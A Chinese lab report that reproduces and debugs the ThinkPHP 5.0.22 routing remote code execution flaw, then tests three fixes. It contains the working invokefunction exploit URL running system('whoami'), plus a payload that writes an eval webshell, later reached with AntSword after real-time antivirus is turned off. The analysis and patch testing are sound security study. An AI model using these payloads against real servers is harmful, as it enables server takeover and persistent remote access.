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一、 实验目的 

1. 通过动态调试分析漏洞触发路径，理解 ThinkPHP 5.x 路由解析机制中_method 参数

未过滤导致的代码执行原理。 

2. 复现恶意 s 参数调用系统命令的过程，掌握漏洞利用方法及防御措施验证。 

 

 

二、 实验过程 

2-1 实验对象 

ThinkPHP 是一个快速、兼容而且简单的轻量级国产 PHP 开发框架，诞生于 2006 年初，

原名 FCS，2007 年元旦正式更名为 ThinkPHP，遵循 Apache2 开源协议发布，从 Struts 结构

移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开

发结构和 MVC 模式，融合了 Struts 的思想和 TagLib（标签库）、RoR 的 ORM 映射和

ActiveRecord 模式。 
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2-2 漏洞环境搭建 

由于该漏洞影响产品为 thinkphp<=5.0.23，对应环境要求为：php >=5.4.0 

我们使用 Windows Server2016 搭建服务端，环境：apache2.4.33，php7.1.16。（即可以基

于现有环境进行实验） 

然后拉取 thinkphp5.0.22 版本源代码作为实验对象，相关命令如下：（需先安装好 git） 

git clone https://github.com/top-think/think think-5.0.22 

git checkout v5.0.22 

cd think-5.0.22 

git clone https://github.com/top-think/framework thinkphp 

git checkout v5.0.22 

将以上代码放置到： 

C:\Users\Administrator\Desktop\Web\apache2.4\httpd-2.4.33-o102o-x86-vc14-r2\Apache24\

htdocs 目录下 

最终目录结构如下： 

 

我们访问 https://localhost/think-5.0.22/public/index.php 

出现以下界面即环境搭建成功。 

 

https://localhost/think-5.0.22/public/index.php
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2-3 调试环境搭建 

使用 phpstorm+xdebug 进行动态调试， 

1. 下载 xdebug 

查看 phpinfo，将 phpinfo 的内容全部复制到 Xdebug: Support — Tailored Installation 

Instructions 中 

 

找 到 对 应 版 本 的 xdebug.dll 下 载 ， 重 命 名 为 php_xdebug.dll 放 置 在

C:\Users\Administrator\Desktop\Web\PHP\php-7.1.16-Win32-VC14-x86\ext 中 

 

 

 

2. 配置 php.ini 

在末尾添加： 

[Xdebug] 

https://xdebug.org/wizard
https://xdebug.org/wizard
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zend_extension= php_xdebug.dll 

xdebug.profiler_enable=On 

xdebug.remote_enable=On 

xdebug.auto_trace=On 

xdebug.profiler_output_name=cachegrind.out.%t.%p 

xdebug.show_local_vars=0 

xdebug.remote_port=2333 

xdebug.remote_host="localhost" 

xdebug.idekey=PHPSTORM 

xdebug.mode=debug 

配置完成后重启 apache。 

 

 

3. 配置 phpstorm 

 

 

 

验证，结果如下即 xdebug 与 phpstorm 配置完成。 
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2-4 分析过程 

根据漏洞描述：该漏洞是由于 Thinkphp 没有正确处理控制器名，导致在网站没有开启

强制路由的情况下（即默认情况下）可以执行任意方法，只要类存在且方法可访问就会导致

远程命令执行漏洞。 

要理解这个漏洞，我们得通过 phpstrom 和 xdebug 进行动态调试理解 thinkphp 如何处理

路由开始下手。 

我 们 使 用 官 方 poc 进 行 调 试 ： http://localhost/think-5.0.22 

/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=sy

stem&vars[1][]=whoami 

从应用入口文件\public\index.php 处设置断点，进行调试。 

 

跟进/../thinkphp/start.php，跳转到 App.php 

 
我们找到/library/think/App.php#run()函数，用于处理请求和生成响应。由于默认的 filter

在 config.php 中为空字符串，thinkphp 首先会设置默认的过滤函数，即$dispatch 为空，进入

routeCheck()函数也就是路由处理函数进行路由检测。 
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routeCheck 函数就是用配置的路由规则去检测我们请求的路由，得到路径变量$path 为

index/think\app/invokefunction。 

 

POC 中剩余变量存储在$_GET 中 

 

继续跟进，由于变量方法 result 设定为假，进入 Route.php 的 parseUrl 函数，此函数用

来解析变量$path（index/think\app/invokefunction） 

 

跟进 parseUrl()方法，发现这个方法将$path 中的'/'替换为'|'。  

 

$path 就从 index/think\app/invokefunction 变成 index|think\app|invokefunction。 

 

接着会进入 parseUrlPath 函数。将 path 变量分隔符替换后转变为数组 
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返回到 parseUrl 函数，继续往下跟，跟到解析控制器部分， 

 

将控制器和操作方法封装为$route，最终返回['type' => 'module', 'module' => $route]数组

给 routeCheck 中的$result。 

 

然后作为 App.php 中$dispatch 的值，传入 exec()函数中。 

 

继续跟进 exec()函数，该函数根据不同的调度类型执行相应的处理逻辑，由于

$dispatch['type']='module'，所以只看 module 类型。 
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又调了 module()方法，获取了控制器名和操作名， 

 

继续跟进，使用 invokeFunction 方法通过 ReflectionMethod 动态调用任意函数，通过传

入的$function（call_user_func_array）创建反射对象，用于后续动态调用。 

 

 

调用 invokeMethod()方法 

 

变量$call 的值如下图所示。 
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跟进 invokeMethod 方法，通过 ReflectionMethod 获取剩余参数。 

 

变量$args 会获取 POC 中的余下的参数（即$_GET）。 

 

最后调用 invokeArgs 函数——使用数组方法给函数传递参数并执行函数，等价于直接

调用函数：call_user_func_array('system', ['whoami']);。所以最终返回执行 call_user_func_array

函数执行结果给 exec 函数。 

 

返 回 变 量 $data 会 接 受 call_user_func_array 函 数 执 行 数 据 的 值 。 “NT 

AUTHORITY\SYSTEM”是 Windows 操作系统中的一个特殊内置账户，具有最高系统权限，

通常用于系统核心进程和关键服务的运行。 

 

结果如下图所示，看以看到命令已经执行成功了。 

 

 

 

2-5 流程图 
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简单攻击链： 

 

 

 

2-6 原因总结 

此漏洞的核心成因在于路由解析逻辑的安全疏漏，且对 url 的校验是欠缺的，而且 url

是用户完全可控的，并且还可以调用控制器的方法，我们可以通过 url 来调用敏感方法，进

而执行命令。 

简单来说，ThinkPHP 5 远程代码执行漏洞是由于 ThinkPHP 路由解析机制未开启强制路

由且未对控制器名进行安全过滤，导致攻击者通过反斜杠构造恶意 URL，直接调用框架内

部 类 的 危 险 方 法 （ invokefunction ）， 利 用 反 射 机 制 动 态 执 行 用 户 可 控 参 数

（call_user_func_array('system',['whoami'])），导致远程任意命令执行。 

 

在 routeCheck 函 数 中 ， Route::parseUrl 方 法 仅 对 路 径 变 量 $path

（index/think\app/invokefunction）按斜杠‘/’进行简单分组，却完全忽略了对反斜杠‘\’

的处理。这一缺陷直接导致解析后的$result 数组呈现如下结构： 
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模块：index，大多数网站都有这个模块，而且每个模块都会加载 app.php 文件，这为攻

击者利用漏洞提供了便利条件，无需额外去构造模块，直接借助默认配置就能发起攻击。 

控制器：think\app，其命名空间为 think，类名为 app，虽然 think\App 类并非传统概念

里的“控制器”，但框架没有对控制器名的命名空间设置限制，这就使得攻击者能够绕开路

由规则，直接调用框架核心类的 invokefunction 方法。 

操作：invokefunction，是 think\App 类的内置方法：通过 ReflectionFunction 创建反射函

数对象，接着对用户传入的$vars 参数和目标函数的参数列表进行绑定，最后利用 invokeArgs

来执行函数。 

 

exec 函数会接收$dispatch 中的控制器信息（即 think\app），然后通过 ReflectionMethod

对 invokefunction 方法进行实例化。 

攻击者通过 URL 参数： 

function=call_user_func_array&vars[0]=system&vars[1][]=whoami 来 操 控 $function

（call_user_func_array）和$vars（system 和 whoami），这样就使得 invokeArgs 最终执行 

call_user_func_array('system',['whoami'])，进而执行系统命令。 

 

 

2-7 修复 

1. 控制器名过滤（官方补丁形式） 

App.php 中的 module 方法。 

在解析控制器时添加正则校验（preg_match('/^(A-Za-z)(\w|\.)*$/', $controller)），禁

止包含反斜杠‘\’等特殊字符，阻断恶意命名空间（think\app）的构造。 

 
修改后无效记得重启 apache。 

 

 

2. 处理反斜杠 

Route.php 中的 parseUrlPath 方法。 

分隔符替换时添加‘\’也进行统一分隔符替换。 

与官方补丁的原理差不多，但是他不是阻断‘\’，而是将‘\’作为‘/’处理。 



 

13 

 

 

 

 

3. 强制路由模式 

在 application/config.php 中。 

设置'url_route_must'  => true，禁止未定义的路由访问。 

 

 

 

2-8 测试 

1. 控制器名过滤（官方补丁形式） 

当触发控制器名校验且不通过时，会抛出一个 HttpException 异常，显示 404 错误

页面。 

传 入 参

数?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars

[1][]=whoami 

页面显示控制器“think\app”不存在，与预期一致。 
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2. 处理反斜杠 

反斜杠被当作‘/’处理后破坏了正常解析逻辑，使得找不到对应的模块、控制器、

操作等，触发错误。 

 

页面显示错误，与预期一致。 

 

 

3. 强制路由模式 
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index.php 也访问不了 

 

因为强制路由就是所有请求必须在 route.php 中明确定义路由规则，否则直接返回

404 错误，传统的“自动解析 URL”模式失效。我们设置一下默认路由即可： 

在 application/route.php 中添加默认路由： 

 

Index.php 能正常访问， 
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传入 payload 页面显示错误，测试正确。 

 

 

 

三、 实验结论 

本实验成功复现了 ThinkPHP 5.0.22 的远程代码执行漏洞。核心成因是框架路由解析过

程中未对控制器名进行严格过滤，导致攻击者通过构造包含反斜杠（ \）的 URL（如

index/think\app/invokefunction）调用非公开类方法（如 think\App::invokefunction）。该方

法利用反射机制动态执行用户可控参数（如 call_user_func_array('system', ['whoami'])），

最终实现任意系统命令执行。 

漏洞危害性：攻击者可通过 URL 参数直接执行操作系统命令，获取服务器最高权限。。 

修复方案有效性： 

1. 控制器名校验：通过正则表达式/^[A-Za-z](\w|\.)*$/限制控制器名格式，阻断恶意命

名空间（如 think\app），测试中成功触发 404 错误。 

2. 强制路由模式：开启 url_route_must=true 后，未定义的路由请求均被拒绝，有效防

御漏洞利用。 

 

 

四、 思考题 

1. 除 system 外，能否利用其他函数实现更隐蔽的攻击？ 

可以。文件写入——通过 file_put_contents 写入 Webshell： 

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_

contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[x]);?> 
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返回 25 ，表明写入 25 个字节，使用蚁剑连接，但是连不上，报错

“{"code":"CERT_HAS_EXPIRED"}”，HTTPS 证书失效。 

 

勾选“忽略 HTTPS 证书”之后尝试连接。 

 

发现还是连接失败，发现是 shell.php 写入失败，但 txt 文件可以写入成功。表明服

务器对 PHP 文件有特殊限制，可能是 Windows Defender、杀毒软件或 Web 应用防火

墙（WAF）自动删除的.php 后缀文件。 

 

关闭服务端的实时保护。 
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再次连接，连接成功。 

 

 

 

2. 为什么ThinkPHP 5.0.22的 invokefunction方法会成为攻击入口？该方法的设计初衷

是什么？ 

invokefunction 方法的设计初衷是通过反射机制动态调用函数，属于框架内部的通

用工具方法。但由于未对调用参数做严格校验，攻击者可利用该方法绕过正常路由，直

接执行 call_user_func_array 等危险函数。 

 

 

3. 为何参数过滤无法彻底防御此类漏洞？ 

漏洞本质是路由解析机制缺陷，而非单一参数问题。即使过滤 function 或 vars 参数，

攻击者仍可通过其他路径调用危险方法（如 think\template\driver\file::write 写入文件）。

根本解决需修正路由解析逻。  

 

 

4. 若 ThinkPHP 开启了强制路由（url_route_must=true），是否就完全安全？为什么？ 

强制路由要求所有请求必须在路由规则中定义，否则返回 404。但攻击者若能找到

已定义的路由（如默认的 index 模块），仍可能通过构造合法路由参数触发漏洞。因此，

强制路由需配合控制器名过滤等措施才能有效防御。 

 

 

5. 从代码审计角度，如何快速定位 ThinkPHP 框架中类似的路由解析漏洞？ 

⚫ 关注路由解析核心文件中处理用户输入的函数。 

⚫ 检查是否对输入参数做正则过滤或白名单限制； 
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⚫ 追踪反射机制（ReflectionMethod、call_user_func_array）的调用链，查看参数

是否可控。 


